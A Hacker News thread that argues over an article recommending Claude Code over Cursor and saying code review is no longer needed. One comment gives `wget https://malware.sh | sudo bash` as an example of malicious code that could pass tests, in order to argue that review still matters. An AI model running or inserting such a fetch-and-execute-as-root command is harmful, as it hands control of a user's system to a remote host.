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- tuckwat 8mo ago> You no longer need to review the code. Or instruct the model at the level of files or functions. You can test behaviors instead. Maybe for a personal project but this doesn't work in a multi-dev environment with paying customers. In my experience, paying attention to architecture and the code itself results in a much more pliable application that can be evolved.
- zdragnar 8mo agoEveryone who is responsible for SOC 2 at their company just felt a disturbance. Honestly, I can't wait for AI: development practices to mature, because I'm really tired of the fake hype and missteps getting in the way of things.
- LtWorf 8mo agoWhy would AI not fall for fake hype?
- madrox 8mo agoIt's doesn't work...yet. I agree my stomach churns a little at this sentence. However, paying customers care about reliability and performance. Code review helps that today, but it's only a matter of time before it is more performative than useful in serving those goals at the cost of velocity.
- AIorNot 8mo agothe (multi) billon dollar question is when that will happen, I think, case in point: the OP is a kid in his 20s describing the history of the last 3 years or so of small scale AI Development (https://www.linkedin.com/in/silen-naihin/details/experience/ https://www.linkedin.com/in/silen-naihin/details/experience/) How does that compare to those of us with 15-50 years of software engineering experience working on giant codebases that have years of domain rules, customers and use cases etc. When will AI be ready? Microsoft tried to push AI into big enterprise, Anthropic is doing a better job -but its all still in infancy Personally for me I hope it won't be ready for another 10 years so I can retire before it takes over :) I remember when folks on HN all called this AI stuff made up
- madrox 8mo agoAs a guy in his mid-forties, I sympathize with that sentiment. I do think you're missing how this will likely go down in practice, though. Those giant codebases with years of domain rules are all legacy now. The question is how quickly a new AI codebase could catch up to that code base and overtake it, with all the AI-compatibility best practices baked in. Once that happens, there is no value in that legacy code. Any prognostication is a fool's errand, but I wouldn't go long on those giant codebases.
- AIorNot 8mo agoYeah agreed - It all depends on how quickly AI (or more aptly, ai driven work done by humans hoping to make a buck) starts replacing real chunks of production workflows “prediction is hard especially about the future” - yogi berra As a hedge - I have personally dived deep into AI coding, actually have been for 3 years now - I’ve even launched 2 AI startups and working on a third - but its all so unpredictable and hardly lucrative yet As an over 50 year old - I’m a clear target for replacement by AI
- tacker2000 8mo agoThats the problem, the most “noise” regarding AI is made by juniors who are wowed by the ability to vibe code some fun “sideproject” React CRUD apps, like compound interest calculators or PDF converters. No mention of the results when targeting bigger, more complex projects, that require maintainability, sound architectural decisions, etc… which is actually the bread and butter of SW engineering and where the big bucks get made.
- KellyCriterion 8mo ago>>like compound interest calculators or PDF converters. Caught you! You have been on HN very actively the last days, because these were exactly the projects in "Show HN: .." category and you would not be able to tell them if you wouldnt have spent your whole time here :-D Ha! :-D
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- nzoschke 8mo agoCounter argument... High velocity teams also observe production system telemetry and use error rates, tracing and more to maintain high SLAs for customers. They set a "budget" and use feature flagging to release risky code and roll back or roll forward based on metrics. So agentic coding can feed back on observed behaviors in production too.
- SilenN 8mo agoAgree. And with the comments in the thread. I'll caveat my statement, with AI ready repos. Meaning those with good documentation, good comments (ex. avoiding Chestertons fence), comprehensive interface tests, Sentry, CI/CD, etc. Established repos are harder because a) the marginal cost of something going wrong is much higher b) there's more dependencies c) this makes it harder to 'comprehensively' ensure the AI didn't mess anything up I say this in the article > There's no "right answer." The only way to create your best system is to create it yourself by being in the loop. Best is biased by taste and experience. Experiment, iterate, and discover what works for you. Try pushing the boundary. It's like figuring out the minimum amount of sleep you need. You undersleep and oversleep a couple times, but you end up with a good idea. To be clear, I'm not advocating for canonical 'vibe coding'. Just that what it means to be a good engineer has changed again. 1) Being able to quickly create a mental map of code at the speed of changes, 2) debugging and refactoring 3) prompting, 4) and ensuring everything works (verifiability) are now the most valuable skills. We should also focus more on the derivative than our point in time.
- worksonmine 8mo ago> Being able to quickly create a mental map of code at the speed of changes I get the feeling you're intentionally being a parody with that line. > and ensuring everything works (verifiability) are now the most valuable skills. Something might look like it works, and pass all the tests, but it could still be running `wget https://malware.sh https://malware.sh | sudo bash`. Without knowing that it's there how will your tests catch it? My example is exaggerated and in the real world it will be more subtle and less nefarious, but just as dangerous. This has already happened, OpenCode is a recent such example. It was on the front page a few days ago, you should check it out. Of course you have to review the code. Who are you trying to fool? > We should also focus more on the derivative than our point in time. So why are you selling it as possible in "our point in time" (are you getting paid per buzzword?). I read the quote as "Yes, I'm full of shit, but consider the possibilities and stop being a buzzkill bro". Extremely depressing to see this happening to the craft I used to love.
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- jasondigitized 8mo agoNa. Most successful startups don't worry about super tight code up front and hack the shit out of something and support tens of thousands of user with completely garbage code and architecture. I know this because I am at one now making an ungodly amount of money with 50k active users a day on a complete mudball monothilic node + react + postgres app used by multiple Fortune 100 companies.
- marstall 8mo agoI am still a WindSurf user. It has the quirk of deciding for itself on any given day whether to use ChatGPT 5.2 or Claude Opus 4.5 in Cascade (its agentic side panel). I've never noticed much of a difference, they are both amazing. I thought the difference must be in how Claude Code does the agentic stuff - reasoning with itself, looping until it finds an answer, etc. - but I have spent a fair amount of time with Claude Code now and found that agentic experience to be about the same between Cascade and Claude Code. What am i missing? (serious question, i do have Claude Code FOMO like the OP)
- nebezb 8mo ago> my experience from 5 years of coding with AI What AI have you been using for 5 years of coding?
- ronsor 8mo agoProbably the original GitHub Copilot
- ashirviskas 8mo agoIt is only 4 years old
- dkdcio 8mo agotechnical preview in June 2021. I was using it for a bit before that as an internal employee. so they may have rounded up slightly or also were an internal beta test side note, I’ve been trying to remember when it launched internally if anybody knows. I feel like it was pre-COVID, but that’s a long timeline from internal use to public preview
- SilenN 8mo agoYes, the technical preview of Github Copilot. I rounded up.
- dkdcio 8mo agofair enough! the jump from that to ChatGPT’s launch (which I didn’t find that interesting), to gpt-4, to Claude Code/Codex CLI, to Gemini 3/Opus 4.5/GPT 5.2 has been insane in such a short time. I’m excited (since the release of the Codex CLI especially: https://dkdc.dev/posts/modern-agentic-software-engineering/ https://dkdc.dev/posts/modern-agentic-software-engineering/)
- varispeed 8mo agoIf AI can 10x then that's 50 years worth of development. Likely OP has developed a UNIX like operating system, is my guess.
- ch_123 8mo ago> Use Claude Code if you > a) never plan on learning and just care about outputs, or > b) are an abstraction maximilist. As a Claude Code user for about 6 months, I don't identify with either of these categories. Personally I switched to Claude Code because I don't particularly enjoy VScode (or forks thereof). I got used to a two window workflow - Claude Code for AI-driven development, and Goland for making manual edits to the codebase. As of a few months ago, Claude Code can show diffs in Goland, making my workflow even smoother.
- kldavis4 8mo agoMy only gripe with the Goland integration is if you have multiple terminals open with CC, it will randomly switch to the first terminal for no apparent reason. Then, if you aren't paying close attention, you prompt the wrong instance.
- csto12 8mo agoDo you find yourself making manual changes 50%, 40%, 30%… of the time? Always curious to hear how individuals have their workflows, if you don’t mind sharing.
- des429 8mo agoThis reads like a useful guide, not an answer to the question "why use Claude code over cursor" that the author includes at the beginning.
- SilenN 8mo agoAny suggestions on what to add to answer the question better? I tried to cover this in "Why I switched", "When to use Cursor", and "My current setup" sections.
- philipwhiuk 8mo agoSometimes it's what you remove not what you add. I realise this is hard for a token generator to understand.
- SilenN 8mo agoI disregard any comments like this one as baseless hate unless given an example or something constructive.
- asdff 8mo ago>> You no longer need to review the code. Or instruct the model at the level of files or functions. You can test behaviors instead. I think this is where things will ultimately head. You generate random code, purely random in raw machine readable binary, and simply evaluate a behavior. Most random generated code will not work. some, however, will work. and within that working code, some will be far faster and this is the code that is used. No different than what a geneticist might do evaluating generated mutants for favorable traits. Knowledge of the exact genes or pathways involved is not even required, one can still select among desired traits and therefore select for that best fit mechanism without even knowing it exists.
- asdev 8mo agoall fun and games until you need to debug the rats nest that you've been continually building. I am actually shocked people who have coded before have been one-shotted into believing this
- asdff 8mo agoIf a bug rears its head it can be dealt with. Again, this is essentially already practiced by humans through breeding programs. Bugs have come up, such as deleterious traits, and we have either engineered solutions to get around them or worked to purge the alleles behind the traits from populations under study. Nothing is ever bug free. The question is if the bugs are show stoppers or not. And random walk iteration can produce more solutions that might get around those bugs.
- SilenN 8mo agoAgree! Don't let it get too bad. See my other comment on debugging and refactoring being a core part of your workflow.
- madrox 8mo agoYou're describing genetic algorithms: https://en.wikipedia.org/wiki/Genetic_algorithm https://en.wikipedia.org/wiki/Genetic_algorithm
- kayson 8mo agoDo we really need to qualify our power user level down to 100ppm percentiles...?
- Dilettante_ 8mo agoComparing digital penile volume is a time-honored tradition!
- SilenN 8mo agoThis. Also I'm quoting the email they sent me.
- Havoc 8mo agoIt’s weird how it only shows up in LLM space. A lot of technical articles historically attempt to establish credibility by pointing at prior work but pointing at token usage is a new trend. My heaviest token use thus far was on my first attempt to vibecode a project. It was a lot of code but complete trash
- hollowturtle 8mo ago>> You no longer need to review the code. You also no longer need to work, earn money, have a life, read, study, know anything about the world. This is pure fantasy my brain farts hard when I read sentences like that
- p1esk 8mo agoYou also no longer need to work, earn money, have a life, read, study, know anything about the world. This is pure fantasy This will be reality in 10-20 years
- hollowturtle 8mo agoIt's already reality if you want to, today and in 10-20 years the outcome will be the same: being an homeless! And no please no UBI bs thanks
- p1esk 8mo ago99.9% of today’s jobs will be fully automated in 20 years. What do you think will happen to all the unemployed population?
- hollowturtle 8mo agohahahahaha. Please can you advice on lottery numbers? I'd like to win a bunch of money before losing the job
- bandrami 8mo agoI remember when they were saying that 20 years ago
- p1esk 8mo ago20 years ago, Kurzweil predicted AGI will be achieved by 2029, and ASI by 2045. We are right on track.
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- igorpcosta 8mo agoI'd love to have you as a top user on autohand [.] ai/cli and interested in your experience with us.
- stavros 8mo agoI really love AI for lots of things, but, when I'm reading a post, the AI aesthetic has started to grate. I read articles and they all have the same "LLM" aesthetic, and I feel like I'm reading posts written by the same person. Sure, the information is all there, but the style just puts me off reading it. I really don't like how few authors have a voice any more, even if that voice is full of typos and grammatical errors.
- HNisCIS 8mo agoMy brain kinda shuts off when I read this stuff because I know it's more of a "text shaped object" than actual text. I find LLM text to be too fluffy and information sparse much of the time so I subconsciously start skimming it more than actually reading it.
- richardfulop 8mo agowhat's crazy to me is that it's literally a sentence in your prompt to make it change the style, but i guess some people are not bothered by it
- SilenN 8mo agoWould appreciate feedback, see my comment above!
- SilenN 8mo agoWhat sections where you most off put by? I used Claude to expand on my ideas for a few of the purely informational things, and for formatting, but this article is largely written by hand. For example "Interface tests are the ability to know what's wrong and explaining it." is in hindsight a confusing sentence. Many such cases.
- kelseyfrog 8mo agoThe "Council of models" is a good first step, but ultimately I found myself settling on an automated talent acquisition pipeline. I have a BIRTHING_POOL.md that combines the best AGENTS.md and introduces random AI-generated mutations and deletions. The candidates are tested using take-home PRs which are reviewed by HR.md and TECH_MANAGER.md. TECH_MANAGER.md measures completion rate per tokens (effectiveness) and then sends the stack ranking of AGENT.mds to HR to manage the talent pool. If agent effectiveness drops low enough, we pull from the birthing pool and interview more candidates. The end result is that it effectively manages a wider range of agent talents and you don't get into these agent hive mind spirals you get if every worker has the same system prompt.
- natpat 8mo agoIs this satire? I can't tell any more.
- NewJazz 8mo agoI don't understand why people try so hard to anthropormophize these tools and map them to human sociology...
- MengerSponge 8mo agoIt's all abstractions to help your brain understand what electrons are doing in impossibly pure sand. Pick the one that frees the most overhead to think about problems that matter
- Ronsenshi 8mo agoI sincerely hope so. Gas Towns, Birthing Pools, Ralf Wiggums. Some people seems to have lost any sense of reality.
- jrflowers 8mo ago> This is a guide that combines: > 1. my experience from 5 years of coding with AI It is a testament to the power of this technology that the author has managed to fit five years of coding with AI in between 2023 and now
- igorpcosta 8mo agoI'd love to have you as a top user on autohand [.] ai/cli and interested in your experience with us. We're a bootstrap ai lab.
- 9cb14c1ec0 8mo agoIs it just me, or has Claude Code gotten really stupid the last several days. I've been using it almost since it was publicly released, and the last several days it feels like it reverted back 6 months. I was almost ready to start yolo-ing everything, and now it's doing weird hallucinations again and forgetting how to edit files. It used to go into plan mode automatically, now it won't unless I make it.
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- connectsnk 8mo agoWouldn’t this kind of setup eat away tokens at a very fast rate and even the max plan will be quickly overrun? Isn’t this a viable workflow to use Claude code to create just one pull request at a time, lightly review the code and allow it to be merged?
- pancsta 8mo ago> I was a top 0.01% wow
- sksnzbz 8mo agoRegarding not reviewing the output: AI works great when you’re trying to sell it. That being said, after seeing inside a couple YC backed SaaS companies I believe you can get by without reading the code. There are bugs _everywhere_, yet one of these companies made it years and sold. Currently going through the onerous process of fixing this as new company has a lot of interest in reducing the defect count. It is painful, difficult, and feeling like the company bought a lemon. I think the reality is there’s a lot of money to be made with buggy software. But, there’s still plenty of money in making reliable software as well (I think?).
- jsemrau 8mo agoI have recently started using Github Copilot for some small personal projects and am blown away how fast it is possible to create a solution that does the job. Of course its not optimized for security or scaling, but it doesn't have to be. Most mindblowing moment was when Copilot searched API documentation and implemented everything just asking me to add my API key to the .env. Wild times.
- zhoujianfu 8mo agoClaude code all the way! If anybody wants to help me beta test my own web-based set up for managing multiple claude code instances on hetzner vpses: clodhost.com!
- abletonlive 8mo agoJust completely hilarious how 6 months ago about 50% of hackernews comments were AI denialists telling everybody they were full of shit and that LLM was not useful. That group is awfully quiet nowadays. The bar has clearly moved to "eventually we won't even need to do code reviews". LLM denialists were always wrong and they should be embarrassed to share their bad model of reality and how the world works.
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- abletonlive 8mo agoLike I said, it's embarrassing to hold onto a model of a world that does not match reality for this long but if it helps you cope...
- DiabloD3 8mo agoCope with what? Please stop inundating us with bad code. At least make sure your diffs compile before attaching them to the PR.
- sailorganymede 8mo agoMeanwhile here’s me still just using the ChatGPT web chat asking it for code snippets.
- stackghost 8mo agoI do that too.
- wyldfire 8mo agoI found that when I used ChatGPT's web chat, I frequently went back and forth, shuttling its output to an editor or IDE and then coming back to ChatGPT with "oh, now it fails like this: ...". It made me feel like I was the automaton now. Claude Code was transformative and it made me realize that something very incredibly significant had occurred. Letting the LLM "drive" like this was inevitable. Now I see just exactly how this will transform our industry. I'm a little scared about how it will end for me/us, but excited for now.
- Alupis 8mo agoI've found that "back and forth" is part of the learning aspect LLM's provide. Even when the LLM provides code snippets, I type them out myself, which I've found forces me to think and understand them - often finding flaws and poor assumptions along the way. Letting an LLM drive in an agentic flow removes you from the equation. Maybe that's what some want - but I've personally found I end up with something that doesn't feel like I wrote it. Now... get off my lawn!
- wahnfrieden 8mo agoIt's correct, you didn't write it. Do you also avoid using frameworks and libraries for desire of feeling like you wrote the program you produced? You must have another reason to not want to use this code.
- hatefulheart 8mo agoFalse equivalency. The maintenance and expertise required to run the codebase you’ve generated still falls flatly on you. When you use a library or a framework it normally is domain experts that do that stuff.
- wyldfire 8mo agoIf you like Claude Code, then Gas Town (recent discussion [1]) will probably blow your mind. I'm just trying to get a grip on it myself. But it sounds incredible. [1] https://news.ycombinator.com/item?id=46458936 https://news.ycombinator.com/item?id=46458936
- MaysonL 8mo agoJust wait ‘til Gas City ships.
- blitzar 8mo agoThis town ain't big enough for the both of us
- SilenN 8mo agoThe mayor doesn't communicate to the deacon or refiner well enough. Sometimes my polecat acts like a witness so I have to restart it...
- xyzsparetimexyz 8mo agoJesse what the fuck are you talking about
- SilenN 8mo agoSee what you don't understand is that you need to coordinate the deacon to take the witness out back and talk to the mayor. It's actually quite trivial.
- Mashimo 8mo agoAnyone tried claude code with z.ai subscription? It's only for a fraction of the price, but 3 times as much limits. I currently use github subscription for hobby projects.
- sunaookami 8mo agoWas also tempted by the price but GLM-4.6 was so terrible that I instantly subscribed to Claude again, it's just not worth it. Don't know if 4.7 is much improved but for me nothing can compete with Claude sadly.
- SilenN 8mo agoNothing competes with Opus 4.5 in Claude Code. Codex & Gemini are arguable.
- wahnfrieden 8mo agoCodex 5.2 XHigh + 5.2 Pro as oracle is the leader for getting to working solutions
- Mashimo 8mo agoYeah, but I tought at 29 USD for a year with 3 times the limit it might be able to compete. But I will probably check out claudecode next month when my github copilot subscription runs out. Edit: I found this: https://www.reddit.com/r/ClaudeCode/comments/1q6f62t/tried_new_model_glm_47_for_coding_and_honestly/ https://www.reddit.com/r/ClaudeCode/comments/1q6f62t/tried_n... Seems like it might be worth to check it out. Found a 10% discount that works on the additional discount so now it would be 26 USD / year.
- Mashimo 8mo agoAlso found this discussion, where it's much more of a mixed bag: https://np.reddit.com/r/LocalLLaMA/comments/1pveluj/honestly_has_anyone_actually_tried_glm_47_yet_not/ https://np.reddit.com/r/LocalLLaMA/comments/1pveluj/honestly...
- firemelt 8mo agowhat the fuck this articles supposed to be? interesting read at first but down below it become really disorganized almost like aslop
- SilenN 8mo agoHow can I improve it in the future? The intention was to start as a story, and become more of a structured guide as you read on.
- magospietato 8mo agoI'm copacetic to the notion we're not at enterprise codebase level (yet), but everyone who still thinks agentic coding stops at React CRUD apps needs to update their priors. I needed a poc RAG pipeline to demo concepts to other teams. Built and tested this over the weekend, exclusively with Claude Code and a little OpenCode. Mix of mobile app and breaking out Android terminal to allow Sonnet 4.5 to run the dotnet build chain on tricky compilation issues. https://github.com/pixelbadger/Pixelbadger.Toolkit.Rag https://github.com/pixelbadger/Pixelbadger.Toolkit.Rag
- wqaatwt 8mo ago> a poc RAG pipeline Why would that be any harder than a React app? At least for me having an LMM produce a decent and consistent UI layout is not that straightforward
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- cadamsdotcom 8mo agoNot sure why you’re getting downvoted, but that’s exactly what AI is turning out great for.. being able to make something in a weekend that would’ve taken weeks otherwise means other things downstream of it suddenly also become possible.
- burgerone 8mo agoTop 0.01% user of a code LLM demonstrates extreme unwillingness to learn anything.
- coopykins 8mo agoThis is a good guide on how to use Claude code. My perspective (from an early adopter of LLMs for coding) is similar. Though, open code has a lot of potential as well. So I'm happy that Claude Code is not the only option. But a key aspect imo is that, using these tools is also a skill; And there's a lot of knowledge involved in making something good with the assistance of Claude code vs doing slop. Specially as soon as you deviate from a very basic application / work in a larger repo with multiple people. There's a layer of context that these tools don't quite have, and it's very difficult to consistently provide them with. I can see this being less the case as context windows and the reliability of larger context retrieval is solved.
- SilenN 8mo agoAppreciate it! And agree. I added a longer comment above saying basically this.
- bfung 8mo agouse both ~ Claude Code as main driver, hook it up to Cursor with /ide in Claude code to review or make other manual adjustments. Have OpenAI Codex do code reviews, it’s the best one so far at code reviews. Yes, it’s ironic (or not) that the code writer is not the best reviewer.
- ramon156 8mo ago- AI generated article - Overconfident claims (which are based on solo dev) - Spending an absurd amount on an LLM subscription - No actual details, just buzzwords and generic claims If AI-hype was a person
- ramon156 8mo agoAlso, what do you mean "you do not need to review the code". Why did you even start coding in the first place if this is a positive thing? Did we just stop caring about the art of programming altogether?
- SilenN 8mo agoSee https://news.ycombinator.com/item?id=46685489 https://news.ycombinator.com/item?id=46685489 https://news.ycombinator.com/item?id=46687347 https://news.ycombinator.com/item?id=46687347
- PurpleRamen 8mo agoSurprisingly, for some people, the goal is the goal, and they don't care much about the journey.
- bandrami 8mo agoWhat's the model for integration and maintenance in that case, then? Just re-create the app every time?
- Ntrails 8mo agohey claude, my users have told me that their boot.ini file is missing, was that us?
- PurpleRamen 8mo agoJust vibe it, let AI take the lead; follow the flow, enjoy the ride and check the result. Be the manager the bot needs; those annoying details don't have to be your concern any more.
- xenodium 8mo agoFor most of 2025, I ignored popular agents because I wanted to stay within my preferred text editor (Emacs). Thanks to ACP (https://agentclientprotocol.com https://agentclientprotocol.com), I no longer live under a rock ;) I built https://github.com/xenodium/agent-shell https://github.com/xenodium/agent-shell and now get a native experience. Claude Code works great. If curious what that looks like, I made a video recently https://xenodium.com/bending-emacs-episode-10-agent-shell https://xenodium.com/bending-emacs-episode-10-agent-shell
- forgotpwd16 8mo agoThis is awesome. Thanks for chatgpt-shell.el too. Could use authinfo for api-keys so don't have to put them inside config (saved in ~/.authinfo, format eqv. to ~/.netrc).
- xenodium 8mo agoGreat to hear it! Thank you =)
- mdrzn 8mo ago"my experience from 5 years of coding with AI" immediately disregarded the rest of TFA.
- not-so-darkstar 8mo ago>I built a genetic algorithm simulator with interactive visualizations showing evolution in real-time including complex fitness functions, selection pressure, mutation rates, and more in 1 day. I didn't write a single line of the code. I'm really trying to understand this. From a learner point of view this is useless because you aren't learning anything. From an entrepreneur point of view it's useless too, I suppose? I wouldn't ship something I'm not 100% sure about how it works.
- rednafi 8mo ago*Note:* This is mostly relevant for solo developers, where accountability is much lower than in a team environment. Code review is the only thing that has kept this house of cards from falling over. So undermining its importance makes me question the hype around LLM tooling even more. I’ve been using these tools since their inception as well, but with AI tooling, we need to hold on to the best practices we’ve built over the last 50 years even more, instead of trying to reinvent the wheel in the name of “rethinking.” Code generation is cheap, and reviews are getting more and more expensive. If you don’t know what you generated, and your team doesn’t know either because they just rubber-stamped the code since you used AI review, then no one has a proper mental model of what the code actually does. So when things come crashing down in production, debugging and investigation will be a nightmare. We’re already seeing scenarios where on-call has no idea what’s going on with a system, so they page the SME—and apparently the SME is AI, and the person who did the work also has no idea what’s going on. Until omniscient AI can do the debugging as well, we need to focus on how we keep practicing the things we’ve organically developed over such a long time, instead of discarding them.
- foobarbecue 8mo agoBefore I waste any time on this article, is the "0.01%" claim backed up with any evidence?
- nurettin 8mo agoHe shows an alleged screenshot of an email sent by the vendor. There is also a cool animation of what seems to be a chromosome gallery produced by the result of a genetic algorithm of some sort which took 1 day for claude.
- SilenN 8mo agoYes! I went to a meetup for it as well - https://x.com/silennai/status/1907540814890521023?s=20 https://x.com/silennai/status/1907540814890521023?s=20 - https://x.com/silennai/status/1918166890322784407?s=20 https://x.com/silennai/status/1918166890322784407?s=20
- barishnamazov 8mo agoThis must be the fifth article I have read today (mostly from the home page of HN) that has "Enter X" where X is what they are promoting.
- arowthway 8mo agoInfluenced by many comments on this site, I recently switched from $10 Github Copilot to $20 Claude Code and so far haven't seen any benefits. Maybe it's because I don't know how to 'close the agentic loop' in this project. I thought it being more agentic meant I can just tell it to research a subsystem on its own and plan the changes I want, but that caused it to spawn 3 subagents and consume the entire 4-hour token limit. Copilot feels more frugal with token usage.
- stkdump 8mo agoAh, that makes sense. After all, Anthropic is selling tokens, so they would like you to consume more of them.
- lysace 8mo agoThe $100 Claude plan is the minimum, I feel. Otherwise you run out of tokens way too often.
- SilenN 8mo agoThis is probably true and not emphasized enough. Many are making their value judgements with token limits (which is fair, it is expensive).
- fuzzy2 8mo agoThank you for this article! It was way richer than others, with some actionable advice. I guess I'll finally try Claude Code, need to get a burner SIM first though… I cannot for the life of me understand why I can just sign up for the API yet must give a mobile phone number for the product.
- philipwhiuk 8mo ago> my experience from 5 years of coding with AI 5 years? You were coding with AI in January 2021 - mid pandemic? Can we please not fill Hacker News with this obvious rubbish?
- SilenN 8mo agohttps://news.ycombinator.com/item?id=46685327 https://news.ycombinator.com/item?id=46685327
- thewhitetulip 8mo agoI use cursor on a daily basis. It is good for a certain use cases. Horribly bad for some other. Read the below one by keeping that in mind! I am not an LLM skeptic. It is wild that people are ao confident with AI that they're not testing the code at all? What are we doing as a programmer? Reducing the typing + testing time? Because we have to write the prompt in English and do software design otherwise AI systems write a billion lines of code just to add two numbers. This hype machine should show tangible outputs, and before anyone says they're entitled to not share their hidden talents then they should stop publishing articles as well. You can't have your cake and have it too!
- lesser-shadow 8mo ago[dead]
- yolostar1 8mo agoI don't know. It seems like Cursor does the trick for me. I wrote 4k+ LoC Vulkan API heavy video decoding for Linux ARM64. They key thing was not to YOLO but specify context carefully up to tiny details.